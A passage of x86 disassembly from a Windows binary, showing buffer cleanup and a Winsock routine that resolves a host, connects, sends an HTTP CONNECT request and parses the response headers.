jb 0x40f3a7
mov ecx, dword [ebp - 0x580]
push ecx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x56c], edi
mov dword [ebp - 0x570], ebx
mov byte [ebp - 0x580], bl
cmp dword [ebp - 0x5a4], esi
jb 0x40f3d0
mov edx, dword [ebp - 0x5b8]
push edx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x5a4], edi
mov dword [ebp - 0x5a8], ebx
mov byte [ebp - 0x5b8], bl
cmp dword [ebp - 0x5dc], esi
jb 0x40f3f9
mov eax, dword [ebp - 0x5f0]
push eax
call fcn.00434321
add esp, 4
mov dword [ebp - 0x5dc], edi
mov dword [ebp - 0x5e0], ebx
mov byte [ebp - 0x5f0], bl
cmp dword [ebp - 0x614], esi
jb 0x40f422
mov ecx, dword [ebp - 0x628]
push ecx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x614], edi
mov dword [ebp - 0x618], ebx
mov byte [ebp - 0x628], bl
cmp dword [ebp - 0x64c], esi
jb 0x40f44b
mov edx, dword [ebp - 0x660]
push edx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x64c], edi
mov dword [ebp - 0x650], ebx
mov byte [ebp - 0x660], bl
cmp dword [ebp - 0x684], esi
jb 0x40f474
mov eax, dword [ebp - 0x698]
push eax
call fcn.00434321
add esp, 4
mov dword [ebp - 0x684], edi
mov dword [ebp - 0x688], ebx
mov byte [ebp - 0x698], bl
cmp dword [ebp - 0x6bc], esi
jb 0x40f49d
mov ecx, dword [ebp - 0x6d0]
push ecx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x6bc], edi
mov dword [ebp - 0x6c0], ebx
mov byte [ebp - 0x6d0], bl
cmp dword [ebp - 0x6f4], esi
jb 0x40f4c6
mov edx, dword [ebp - 0x708]
push edx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x6f4], edi
mov dword [ebp - 0x6f8], ebx
mov byte [ebp - 0x708], bl
cmp dword [ebp - 0x72c], esi
jb 0x40f4ef
mov eax, dword [ebp - 0x740]
push eax
call fcn.00434321
add esp, 4
mov dword [ebp - 0x72c], edi
mov dword [ebp - 0x730], ebx
mov byte [ebp - 0x740], bl
cmp dword [ebp - 0x764], esi
jb 0x40f518
mov ecx, dword [ebp - 0x778]
push ecx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x764], edi
mov dword [ebp - 0x768], ebx
mov byte [ebp - 0x778], bl
cmp dword [ebp - 0x79c], esi
jb 0x40f541
mov edx, dword [ebp - 0x7b0]
push edx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x79c], edi
mov dword [ebp - 0x7a0], ebx
mov byte [ebp - 0x7b0], bl
cmp dword [ebp - 0x7d4], esi
jb 0x40f56a
mov eax, dword [ebp - 0x7e8]
push eax
call fcn.00434321
add esp, 4
mov dword [ebp - 0x7d4], edi
mov dword [ebp - 0x7d8], ebx
mov byte [ebp - 0x7e8], bl
cmp dword [ebp - 0x80c], esi
jb 0x40f593
mov ecx, dword [ebp - 0x820]
push ecx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x80c], edi
mov dword [ebp - 0x810], ebx
mov byte [ebp - 0x820], bl
cmp dword [ebp - 0x844], esi
jb 0x40f5bc
mov edx, dword [ebp - 0x858]
push edx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x844], edi
mov dword [ebp - 0x848], ebx
mov byte [ebp - 0x858], bl
cmp dword [ebp - 0x87c], esi
jb 0x40f5e5
mov eax, dword [ebp - 0x890]
push eax
call fcn.00434321
add esp, 4
mov dword [ebp - 0x87c], edi
mov dword [ebp - 0x880], ebx
mov byte [ebp - 0x890], bl
cmp dword [ebp - 0x8b4], esi
jb 0x40f60e
mov ecx, dword [ebp - 0x8c8]
push ecx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x8b4], edi
mov dword [ebp - 0x8b8], ebx
mov byte [ebp - 0x8c8], bl
cmp dword [ebp - 0x8ec], esi
jb 0x40f637
mov edx, dword [ebp - 0x900]
push edx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x8ec], edi
mov dword [ebp - 0x8f0], ebx
mov byte [ebp - 0x900], bl
cmp dword [ebp - 0x924], esi
jb 0x40f660
mov eax, dword [ebp - 0x938]
push eax
call fcn.00434321
add esp, 4
mov dword [ebp - 0x924], edi
mov dword [ebp - 0x928], ebx
mov byte [ebp - 0x938], bl
cmp dword [ebp - 0x95c], esi
jb 0x40f689
mov ecx, dword [ebp - 0x970]
push ecx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x95c], edi
mov dword [ebp - 0x960], ebx
mov byte [ebp - 0x970], bl
cmp dword [ebp - 0x994], esi
jb 0x40f6b2
mov edx, dword [ebp - 0x9a8]
push edx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x994], edi
mov dword [ebp - 0x998], ebx
mov byte [ebp - 0x9a8], bl
cmp dword [ebp - 0x9cc], esi
jb 0x40f6db
mov eax, dword [ebp - 0x9e0]
push eax
call fcn.00434321
add esp, 4
mov dword [ebp - 0x9cc], edi
mov dword [ebp - 0x9d0], ebx
mov byte [ebp - 0x9e0], bl
cmp dword [ebp - 0x3a0], esi
jb 0x40f704
mov ecx, dword [ebp - 0x3b4]
push ecx
call fcn.00434321
add esp, 4
mov byte [ebp - 4], 0x55
mov dword [ebp - 0x3a0], edi
mov dword [ebp - 0x3a4], ebx
mov byte [ebp - 0x3b4], bl
cmp dword [ebp - 0x37c], esi
jb 0x40f731
mov edx, dword [ebp - 0x390]
push edx
call fcn.00434321
add esp, 4
lea eax, [ebp - 0x35c]
push eax
push 0x101
call sub.WS2_32.dll_WSAStartup
mov ecx, dword [ebp - 0x360]
push ecx
call sub.WS2_32.dll_gethostbyname
mov dword [ebp - 0x398], eax
cmp eax, ebx
jne 0x40f8d6
mov edx, dword [ebp - 0x368]
push edx
call sub.WS2_32.dll_closesocket
mov ecx, dword [ebp - 0x378]
push str.____DNS_Error
call fcn.0042b4b0
cmp dword [ebp - 0x16c], esi
jb 0x40f78f
mov eax, dword [ebp - 0x180]
push eax
call fcn.00434321
add esp, 4
mov dword [ebp - 0x16c], edi
mov dword [ebp - 0x170], ebx
mov byte [ebp - 0x180], bl
cmp dword [ebp - 0x188], esi
jb 0x40f7b8
mov ecx, dword [ebp - 0x19c]
push ecx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x188], edi
mov dword [ebp - 0x18c], ebx
mov byte [ebp - 0x19c], bl
cmp dword [ebp - 0x1a4], esi
jb 0x40f7e1
mov edx, dword [ebp - 0x1b8]
push edx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x1a4], edi
mov dword [ebp - 0x1a8], ebx
mov byte [ebp - 0x1b8], bl
cmp dword [ebp - 0x150], esi
jb 0x40f80a
mov eax, dword [ebp - 0x164]
push eax
call fcn.00434321
add esp, 4
mov dword [ebp - 0x150], edi
mov dword [ebp - 0x154], ebx
mov byte [ebp - 0x164], bl
cmp dword [ebp - 0x8c], esi
jb 0x40f833
mov ecx, dword [ebp - 0xa0]
push ecx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x8c], edi
mov dword [ebp - 0x90], ebx
mov byte [ebp - 0xa0], bl
cmp dword [ebp - 0x118], esi
jb 0x40f85c
mov edx, dword [ebp - 0x12c]
push edx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x118], edi
mov dword [ebp - 0x11c], ebx
mov byte [ebp - 0x12c], bl
cmp dword [ebp - 0x54], esi
jb 0x40f87f
mov eax, dword [ebp - 0x68]
push eax
call fcn.00434321
add esp, 4
mov dword [ebp - 0x54], edi
mov dword [ebp - 0x58], ebx
mov byte [ebp - 0x68], bl
cmp dword [ebp + 0x24], esi
jb 0x40f899
mov ecx, dword [ebp + 0x10]
push ecx
call fcn.00434321
add esp, 4
mov dword [ebp + 0x24], edi
mov dword [ebp + 0x20], ebx
mov byte [ebp + 0x10], bl
cmp dword [ebp + 0x40], esi
jb 0x40f8b3
mov edx, dword [ebp + 0x2c]
push edx
call fcn.00434321
add esp, 4
mov dword [ebp + 0x40], edi
mov dword [ebp + 0x3c], ebx
mov byte [ebp + 0x2c], bl
cmp dword [ebp + 0x5c], esi
jb 0x41077b
mov eax, dword [ebp + 0x48]
push eax
call fcn.00434321
add esp, 4
jmp 0x41077b
push ebx
push 1
push 2
call sub.WS2_32.dll_socket
mov edi, eax
mov eax, dword [ebp - 0x398]
mov ecx, 2
mov word [ebp - 0x1cc], cx
mov edx, dword [eax + 0xc]
mov ecx, dword [edx]
movzx edx, byte [ecx]
mov byte [ebp - 0x1c8], dl
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov cl, byte [edx + 1]
mov byte [ebp - 0x1c7], cl
mov edx, dword [eax + 0xc]
mov ecx, dword [edx]
movzx edx, byte [ecx + 2]
mov byte [ebp - 0x1c6], dl
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
movzx edx, byte [ecx + 3]
mov eax, dword [ebp - 0x370]
push eax
mov dword [ebp - 0x368], edi
mov byte [ebp - 0x1c5], dl
call sub.WS2_32.dll_htons
push esi
lea ecx, [ebp - 0x1cc]
push ecx
push edi
mov word [ebp - 0x1ca], ax
call sub.WS2_32.dll_connect
push 0x400
call fcn.00432f0b
add esp, 4
mov edi, eax
push 0x45b404
lea ecx, [ebp - 0x14c]
mov dword [ebp - 0x360], edi
call fcn.0042b4b0
push 0x400
mov byte [ebp - 4], 0x77
call fcn.00432f0b
add esp, 4
push 0x45b404
lea ecx, [ebp - 0x50]
mov dword [ebp - 0x36c], eax
mov byte [eax], bl
mov dword [ebp - 0x370], eax
call fcn.0042b4b0
push 0x45bb38
lea ecx, [ebp - 0x114]
mov byte [ebp - 4], 0x78
call fcn.0042b4b0
push 0x45b520
lea ecx, [ebp - 0xf8]
mov byte [ebp - 4], 0x79
call fcn.0042b4b0
push str._r_n_r_n
lea ecx, [ebp - 0x88]
mov byte [ebp - 4], 0x7a
call fcn.0042b4b0
push 0x45bf74
lea ecx, [ebp - 0xdc]
mov byte [ebp - 4], 0x7b
call fcn.0042b4b0
push str.content_length:
lea ecx, [ebp - 0xc0]
mov byte [ebp - 4], 0x7c
call fcn.0042b4b0
mov byte [ebp - 4], 0x7d
cmp dword [0x468da8], ebx
je 0x40fe9b
mov eax, edi
mov byte [edi], bl
dec eax
nop
mov cl, byte [eax + 1]
inc eax
cmp cl, bl
jne 0x40fa20
mov edx, dword [str.CONNECT]
mov dword [eax], edx
mov ecx, dword [0x45bf90]
mov dword [eax + 4], ecx
mov dl, byte [0x45bf94]
mov byte [eax + 8], dl
mov eax, dword [ebp - 0x364]
mov esi, eax
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40fa50
sub eax, esi
dec edi
lea ebx, [ebx]
mov cl, byte [edi + 1]
inc edi
cmp cl, bl
jne 0x40fa60
mov edx, dword [ebp - 0x360]
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, edx
dec edi
nop
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x40fa80
mov ax, word [0x45bc24]
mov word [edi], ax
cmp dword [ebp - 0x8c], 0x10
mov eax, dword [ebp - 0xa0]
jae 0x40faa6
lea eax, [ebp - 0xa0]
mov esi, eax
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40faa8
mov edi, edx
sub eax, esi
dec edi
mov cl, byte [edi + 1]
inc edi
cmp cl, bl
jne 0x40fab4
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
mov eax, edx
rep movsb byte es:[edi], byte [esi]
dec eax
lea ecx, [ecx]
mov cl, byte [eax + 1]
inc eax
cmp cl, bl
jne 0x40fad0
mov ecx, dword [str._HTTP_1.1_n_n]
mov dword [eax], ecx
mov ecx, dword [0x45bf9c]
mov dword [eax + 4], ecx
mov ecx, dword [0x45bfa0]
mov dword [eax + 8], ecx
mov eax, edx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40faf7
mov esi, dword [ebp - 0x360]
push ebx
sub eax, edx
mov edx, dword [ebp - 0x368]
push eax
push esi
push edx
call sub.WS2_32.dll_send
mov eax, esi
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40fb20
sub eax, edx
add dword [0x468dcc], eax
push 0x45b404
lea ecx, [ebp - 0x14c]
call fcn.0042bff0
mov eax, dword [ebp - 0x36c]
push 0x45b404
lea ecx, [ebp - 0x50]
mov byte [eax], bl
mov dword [ebp - 0x364], 1
xor esi, esi
call fcn.0042bff0
push 0x45bb38
lea ecx, [ebp - 0x114]
call fcn.0042bff0
push 0x45b520
lea ecx, [ebp - 0xf8]
call fcn.0042bff0
push str._r_n_r_n
lea ecx, [ebp - 0x88]
call fcn.0042bff0
push 0x45bf74
lea ecx, [ebp - 0xdc]
call fcn.0042bff0
push str.content_length:
lea ecx, [ebp - 0xc0]
call fcn.0042bff0
cmp dword [ebp - 0x364], ebx
jle 0x40fe9b
mov ecx, dword [ebp - 0x370]
mov edx, dword [ebp - 0x368]
push ebx
push 4
push ecx
push edx
call sub.WS2_32.dll_recv
add dword [0x468dcc], eax
add esi, eax
cmp eax, ebx
mov dword [ebp - 0x364], eax
mov dword [ebp - 0x360], esi
jle 0x40fbb0
mov eax, dword [ebp - 0x36c]
push eax
lea ecx, [ebp - 0x394]
call fcn.0042b4b0
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x50]
mov byte [ebp - 4], 0x7e
call fcn.0042bf10
mov edi, 0x10
mov byte [ebp - 4], 0x7d
cmp dword [ebp - 0x37c], edi
jb 0x40fc2c
mov ecx, dword [ebp - 0x390]
push ecx
call fcn.00434321
add esp, 4
push esi
xor ecx, ecx
lea esi, [ebp - 0x394]
lea edx, [ebp - 0x50]
call fcn.0042b6b0
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x50]
mov byte [ebp - 4], 0x7f
call fcn.0042bf10
mov byte [ebp - 4], 0x7d
cmp dword [ebp - 0x37c], edi
jb 0x40fc68
mov edx, dword [ebp - 0x390]
push edx
call fcn.00434321
add esp, 4
lea eax, [ebp - 0x39c]
push eax
lea ecx, [ebp - 0x50]
call fcn.0042b580
lea ebx, [ebp - 0x3c4]
lea edi, [ebp - 0x50]
mov esi, eax
call fcn.0042b5e0
lea ecx, [ebp - 0x3d0]
push ecx
lea ecx, [ebp - 0x50]
mov edi, eax
call fcn.0042b580
mov edx, dword [esi + 4]
mov ecx, dword [esi]
push edx
mov edx, dword [edi + 4]
push ecx
mov ecx, dword [edi]
push edx
mov edx, dword [eax + 4]
mov eax, dword [eax]
push ecx
push edx
push eax
lea ecx, [ebp - 0x434]
push fcn.00435a41
push ecx
call fcn.0042f2f0
add esp, 0x20
lea edx, [ebp - 0x50]
push edx
lea eax, [ebp - 0x88]
call fcn.0042b660
cmp eax, 0xffffffff
jne 0x40fd02
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0xdc]
call fcn.0042b660
cmp eax, 0xffffffff
jne 0x40fd02
mov ecx, dword [ebp - 0x364]
add dword [ebp - 0x370], ecx
mov esi, dword [ebp - 0x360]
xor ebx, ebx
jmp 0x40fbb0
lea edx, [ebp - 0x50]
push edx
lea eax, [ebp - 0x88]
call fcn.0042b660
push 0xffffffffffffffff
cmp eax, 0xffffffff
je 0x40fd42
mov esi, dword [ebp - 0x74]
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x88]
call fcn.0042b660
mov ecx, eax
add ecx, esi
lea esi, [ebp - 0x394]
lea edx, [ebp - 0x50]
call fcn.0042b6b0
mov byte [ebp - 4], 0x80
jmp 0x40fd6d
mov esi, dword [ebp - 0xc8]
lea ecx, [ebp - 0x50]
push ecx
lea eax, [ebp - 0xdc]
call fcn.0042b660
mov ecx, eax
add ecx, esi
lea esi, [ebp - 0x394]
lea edx, [ebp - 0x50]
call fcn.0042b6b0
mov byte [ebp - 4], 0x81
push 0xffffffffffffffff
push 0
push eax
lea ecx, [ebp - 0x14c]
call fcn.0042bf10
lea ecx, [ebp - 0x394]
mov byte [ebp - 4], 0x7d
call fcn.0042b520
lea edx, [ebp - 0x50]
push edx
lea eax, [ebp - 0xc0]
call fcn.0042b660
test eax, eax
je 0x40fe99
mov esi, dword [ebp - 0xac]
push 0xffffffffffffffff
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0xc0]
call fcn.0042b660
mov ecx, eax
add ecx, esi
lea esi, [ebp - 0x34]
lea edx, [ebp - 0x50]
call fcn.0042b6b0
mov ecx, esi
mov bl, 0x82
push ecx
lea eax, [ebp - 0xf8]
mov byte [ebp - 4], bl
call fcn.0042b660
cmp eax, 0xffffffff
je 0x40fe24
mov esi, dword [ebp - 0xe4]
lea edx, [ebp - 0x34]
push edx
lea eax, [ebp - 0xf8]
call fcn.0042b660
add eax, esi
push eax
xor ecx, ecx
lea esi, [ebp - 0x394]
lea edx, [ebp - 0x34]
call fcn.0042b6b0
push 0xffffffffffffffff
push 0
push eax
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x83
call fcn.0042bf10
mov ecx, esi
mov byte [ebp - 4], bl
call fcn.0042b520
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x114]
call fcn.0042b660
cmp eax, 0xffffffff
je 0x40fe78
mov esi, dword [ebp - 0x100]
lea ecx, [ebp - 0x34]
push ecx
lea eax, [ebp - 0x114]
call fcn.0042b660
add eax, esi
push eax
xor ecx, ecx
lea esi, [ebp - 0x394]
lea edx, [ebp - 0x34]
call fcn.0042b6b0
push 0xffffffffffffffff
push 0
push eax
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x84
call fcn.0042bf10
mov ecx, esi
call fcn.0042b520
cmp dword [ebp - 0x1c], 0x10
mov eax, dword [ebp - 0x30]
jae 0x40fe84
lea eax, [ebp - 0x30]
push eax
call fcn.00435329
add esp, 4
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x7d
call fcn.0042b520
xor ebx, ebx
cmp dword [ebp - 0x16c], 0x10
mov esi, dword [ebp - 0x180]
jae 0x40feb0
lea esi, [ebp - 0x180]
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40feb5
mov edi, dword [ebp - 0x368]
push ebx
sub eax, edx
push eax
push esi
push edi
call sub.WS2_32.dll_send
mov eax, esi
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40fed2
mov edx, dword [ebp - 0x428]
sub eax, esi
mov esi, dword [ebp + 0x60]
add dword [0x468dcc], eax
push ebx
push esi
push edx
push edi
call sub.WS2_32.dll_send
add dword [0x468dcc], esi
push ebx
push 0x45b404
lea ecx, [ebp - 0x14c]
call fcn.0042d2b0
mov eax, dword [ebp - 0x36c]
push ebx
push 0x45b404
lea ecx, [ebp - 0x50]
mov byte [eax], bl
mov dword [ebp - 0x370], eax
mov dword [ebp - 0x364], 1
xor edi, edi
mov dword [ebp - 0x374], ebx
call fcn.0042d2b0
push 1
push 0x45bb38
lea ecx, [ebp - 0x114]
call fcn.0042d2b0
push 2
push 0x45b520
lea ecx, [ebp - 0xf8]
call fcn.0042d2b0
push 4
push str._r_n_r_n
lea ecx, [ebp - 0x88]
call fcn.0042d2b0
push 2
push 0x45bf74
lea ecx, [ebp - 0xdc]
call fcn.0042d2b0
push 0x10
push str.content_length:
lea ecx, [ebp - 0xc0]
call fcn.0042d2b0
cmp dword [ebp - 0x364], ebx
jle 0x4103b7
mov eax, dword [ebp - 0x370]
mov ecx, dword [ebp - 0x368]
push ebx
push 4
push eax
push ecx
call sub.WS2_32.dll_recv
add dword [0x468dcc], eax
add edi, eax
cmp eax, ebx
mov dword [ebp - 0x364], eax
mov dword [ebp - 0x360], edi
jle 0x40ff92
mov esi, dword [ebp - 0x36c]
mov eax, esi
mov dword [ebp - 0x1c], 0xf
mov dword [ebp - 0x20], ebx
mov byte [ebp - 0x30], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40ffe4
sub eax, edx
push eax
push esi
lea ecx, [ebp - 0x34]
call fcn.0042d2b0
push 0xffffffffffffffff
push ebx
lea edx, [ebp - 0x34]
push edx
lea ecx, [ebp - 0x50]
mov byte [ebp - 4], 0x85
call fcn.0042bf10
mov byte [ebp - 4], 0x7d
cmp dword [ebp - 0x1c], 0x10
jb 0x410020
mov eax, dword [ebp - 0x30]
push eax
call fcn.00434321
add esp, 4
push edi
xor ecx, ecx
lea esi, [ebp - 0x394]
lea edx, [ebp - 0x50]
call fcn.0042b6b0
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x50]
mov byte [ebp - 4], 0x86
call fcn.0042bf10
mov byte [ebp - 4], 0x7d
cmp dword [ebp - 0x37c], 0x10
jb 0x41005d
mov ecx, dword [ebp - 0x390]
push ecx
call fcn.00434321
add esp, 4
lea edx, [ebp - 0x42c]
push edx
lea ecx, [ebp - 0x50]
call fcn.0042b580
lea ebx, [ebp - 0x39c]
lea edi, [ebp - 0x50]
mov esi, eax
call fcn.0042b5e0
mov edi, eax
lea eax, [ebp - 0x3c4]
push eax
lea ecx, [ebp - 0x50]
call fcn.0042b580
mov ecx, dword [esi + 4]
mov edx, dword [esi]
push ecx
mov ecx, dword [edi + 4]
push edx
mov edx, dword [edi]
push ecx
mov ecx, dword [eax + 4]
push edx
mov edx, dword [eax]
push ecx
push edx
lea eax, [ebp - 0x3d0]
push fcn.00435a41
push eax
call fcn.0042f2f0
mov eax, dword [ebp - 0x84]
mov edi, 0x10
add esp, 0x20
cmp dword [ebp - 0x70], edi
jae 0x4100cc
lea eax, [ebp - 0x84]
mov ecx, dword [ebp - 0x74]
push ecx
push eax
lea edx, [ebp - 0x50]
push edx
call fcn.0042c190
cmp eax, 0xffffffff
jne 0x410122
mov eax, dword [ebp - 0xd8]
cmp dword [ebp - 0xc4], edi
jae 0x4100f3
lea eax, [ebp - 0xd8]
mov ecx, dword [ebp - 0xc8]
push ecx
push eax
lea edx, [ebp - 0x50]
push edx
call fcn.0042c190
cmp eax, 0xffffffff
jne 0x410122
mov eax, dword [ebp - 0x364]
add dword [ebp - 0x370], eax
mov edi, dword [ebp - 0x360]
xor ebx, ebx
jmp 0x40ff92
mov eax, dword [ebp - 0x84]
cmp dword [ebp - 0x70], edi
jae 0x410133
lea eax, [ebp - 0x84]
mov ecx, dword [ebp - 0x74]
push ecx
push eax
lea edx, [ebp - 0x50]
push edx
call fcn.0042c190
cmp eax, 0xffffffff
je 0x410180
mov eax, dword [ebp - 0x84]
cmp dword [ebp - 0x70], edi
jae 0x410157
lea eax, [ebp - 0x84]
mov ecx, dword [ebp - 0x74]
push ecx
push eax
lea edx, [ebp - 0x50]
push edx
call fcn.0042c190
mov ecx, dword [ebp - 0x74]
push 0xffffffffffffffff
add ecx, eax
lea esi, [ebp - 0x394]
lea edx, [ebp - 0x50]
call fcn.0042b6b0
mov byte [ebp - 4], 0x87
jmp 0x4101c1
mov eax, dword [ebp - 0xd8]
cmp dword [ebp - 0xc4], edi
jae 0x410194
lea eax, [ebp - 0xd8]
mov ecx, dword [ebp - 0xc8]
push ecx
push eax
lea edx, [ebp - 0x50]
push edx
call fcn.0042c190
mov ecx, dword [ebp - 0xc8]
push 0xffffffffffffffff
add ecx, eax
lea esi, [ebp - 0x394]
lea edx, [ebp - 0x50]
call fcn.0042b6b0
mov byte [ebp - 4], 0x88
push 0xffffffffffffffff
push 0
push eax
lea ecx, [ebp - 0x14c]
call fcn.0042bf10
mov byte [ebp - 4], 0x7d
cmp dword [ebp - 0x37c], edi
jb 0x4101ec
mov edx, dword [ebp - 0x390]
push edx
call fcn.00434321
add esp, 4
mov eax, dword [ebp - 0xbc]
cmp dword [ebp - 0xa8], edi
jae 0x410200
lea eax, [ebp - 0xbc]
mov ecx, dword [ebp - 0xac]
push ecx
push eax
lea edx, [ebp - 0x50]
push edx
call fcn.0042c190
test eax, eax
je 0x4103b5
mov eax, dword [ebp - 0xbc]
mov edi, 0x10
cmp dword [ebp - 0xa8], edi
jae 0x410232
lea eax, [ebp - 0xbc]
mov ecx, dword [ebp - 0xac]
push ecx
push eax
lea edx, [ebp - 0x50]
push edx
call fcn.0042c190
mov ecx, dword [ebp - 0xac]
push 0xffffffffffffffff
add ecx, eax
lea esi, [ebp - 0x34]
lea edx, [ebp - 0x50]
call fcn.0042b6b0
mov bl, 0x89
mov byte [ebp - 4], bl
mov eax, dword [ebp - 0xf4]
cmp dword [ebp - 0xe0], edi
jae 0x410271
lea eax, [ebp - 0xf4]
mov edx, dword [ebp - 0xe4]
push edx
push eax
lea eax, [ebp - 0x34]
push eax
call fcn.0042c190
cmp eax, 0xffffffff
je 0x4102f0
mov eax, dword [ebp - 0xf4]
cmp dword [ebp - 0xe0], edi
jae 0x41029b
lea eax, [ebp - 0xf4]
mov ecx, dword [ebp - 0xe4]
push ecx
push eax
lea edx, [ebp - 0x34]
push edx
call fcn.0042c190
mov ecx, dword [ebp - 0xe4]
add eax, ecx
push eax
xor ecx, ecx
lea esi, [ebp - 0x394]
lea edx, [ebp - 0x34]
call fcn.0042b6b0
push 0xffffffffffffffff
push 0
push eax
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x8a
call fcn.0042bf10
mov byte [ebp - 4], bl
cmp dword [ebp - 0x37c], edi
jb 0x4102f0
mov edx, dword [ebp - 0x390]
push edx
call fcn.00434321
add esp, 4
mov eax, dword [ebp - 0x110]
cmp dword [ebp - 0xfc], edi
jae 0x410304
lea eax, [ebp - 0x110]
mov ecx, dword [ebp - 0x100]
push ecx
push eax
lea edx, [ebp - 0x34]
push edx
call fcn.0042c190
cmp eax, 0xffffffff
je 0x410380
mov eax, dword [ebp - 0x110]
cmp dword [ebp - 0xfc], edi
jae 0x41032e
lea eax, [ebp - 0x110]
mov ecx, dword [ebp - 0x100]
push ecx
push eax
lea edx, [ebp - 0x34]
push edx
call fcn.0042c190
mov ecx, dword [ebp - 0x100]
add eax, ecx
push eax
xor ecx, ecx
lea esi, [ebp - 0x394]
lea edx, [ebp - 0x34]
call fcn.0042b6b0
push 0xffffffffffffffff
push 0
push eax
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x8b
call fcn.0042bf10
cmp dword [ebp - 0x37c], edi
jb 0x410380
mov edx, dword [ebp - 0x390]
push edx
call fcn.00434321
add esp, 4
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x1c], edi
jae 0x41038b
lea eax, [ebp - 0x30]
push eax
call fcn.00435329
sub eax, dword [ebp - 0x138]
add esp, 4
mov byte [ebp - 4], 0x7d
mov dword [ebp - 0x374], eax
cmp dword [ebp - 0x1c], edi
jb 0x4103b5
mov eax, dword [ebp - 0x30]
push eax
call fcn.00434321
add esp, 4
xor ebx, ebx
mov ecx, dword [ebp - 0x138]
mov edi, dword [ebp - 0x36c]
mov dword [ebp - 0x360], ecx
cmp dword [ebp - 0x364], ebx
jle 0x4104b6
mov edx, dword [ebp - 0x360]
mov byte [edi], bl
cmp edx, dword [ebp - 0x374]
je 0x4104b6
mov eax, dword [ebp - 0x368]
push ebx
push 0x100
push edi
push eax
call sub.WS2_32.dll_recv
add dword [0x468dcc], eax
add dword [ebp - 0x360], eax
cmp eax, ebx
mov dword [ebp - 0x364], eax
jle 0x4103c9
mov eax, edi
mov dword [ebp - 0x1c], 0xf
mov dword [ebp - 0x20], ebx
mov byte [ebp - 0x30], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x410424
sub eax, edx
push eax
push edi
lea ecx, [ebp - 0x34]
call fcn.0042d2b0
mov ecx, dword [ebp - 0x364]
push ecx
xor ecx, ecx
lea esi, [ebp - 0x3b8]
lea edx, [ebp - 0x34]
mov byte [ebp - 4], 0x8c
call fcn.0042b6b0
push ebx
push eax
or eax, 0xffffffff
lea esi, [ebp - 0x14c]
mov byte [ebp - 4], 0x8d
call fcn.0042d1c0
mov esi, 0x10
cmp dword [ebp - 0x3a0], esi
jb 0x410482
mov edx, dword [ebp - 0x3b4]
push edx
call fcn.00434321
add esp, 4
mov byte [ebp - 4], 0x7d
mov dword [ebp - 0x3a0], 0xf
mov dword [ebp - 0x3a4], ebx
mov byte [ebp - 0x3b4], bl
cmp dword [ebp - 0x1c], esi
jb 0x4103c9
mov eax, dword [ebp - 0x30]
push eax
call fcn.00434321
add esp, 4
jmp 0x4103c9
call sub.WS2_32.dll_WSACleanup
mov ecx, dword [ebp - 0x368]
push ecx
call sub.WS2_32.dll_closesocket
mov ecx, dword [ebp - 0x378]
push 0xffffffffffffffff
push ebx
lea edx, [ebp - 0x14c]
mov esi, 0xf
mov dword [ecx + 0x18], esi
mov dword [ecx + 0x14], ebx
push edx
mov byte [ecx + 4], bl
call fcn.0042bf10
mov edi, 0x10
cmp dword [ebp - 0xa8], edi
jb 0x410506
mov eax, dword [ebp - 0xbc]
push eax
call fcn.00434321
add esp, 4
mov dword [ebp - 0xa8], esi
mov dword [ebp - 0xac], ebx
mov byte [ebp - 0xbc], bl
cmp dword [ebp - 0xc4], edi
jb 0x41052f
mov ecx, dword [ebp - 0xd8]
push ecx
call fcn.00434321
add esp, 4
mov dword [ebp - 0xc4], esi
mov dword [ebp - 0xc8], ebx
mov byte [ebp - 0xd8], bl
cmp dword [ebp - 0x70], edi
jb 0x410555
mov edx, dword [ebp - 0x84]
push edx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x74], ebx
mov byte [ebp - 0x84], bl
cmp dword [ebp - 0xe0], edi
